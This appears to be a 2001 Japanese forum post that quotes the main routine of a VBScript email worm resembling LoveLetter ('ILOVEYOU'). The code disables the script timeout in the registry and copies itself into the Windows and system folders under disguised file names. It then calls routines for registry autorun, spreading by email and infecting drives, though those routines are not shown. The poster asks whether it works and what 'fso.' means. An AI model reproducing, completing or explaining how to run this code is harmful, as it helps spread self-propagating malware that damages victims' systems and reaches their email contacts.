>   sub main()
>   On Error Resume Next
>   dim wscr,rr
>   set wscr=CreateObject("WScript.Shell")
>   rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
>   ows Scripting Host\Settings\Timeout")
>   if (rr>=1) then
>   wscr.RegWrite
>   "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
>   Host\Settings\Timeout",0,"REG_DWORD"
>   end if
>   Set dirwin = fso.GetSpecialFolder(0)
>   Set dirsystem = fso.GetSpecialFolder(1)
>   Set dirtemp = fso.GetSpecialFolder(2)
>   Set c = fso.GetFile(WScript.ScriptFullName)
>   c.Copy(dirsystem&"\MSKernel32.vbs")
>   c.Copy(dirwin&"\Win32DLL.vbs")
>   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
>   regruns()
>   html()
>   spreadtoemail()
>   listadriv()
>   end sub

動くか？
あとさfso.って何よ？

参考：2001/01/24(水)20時13分25秒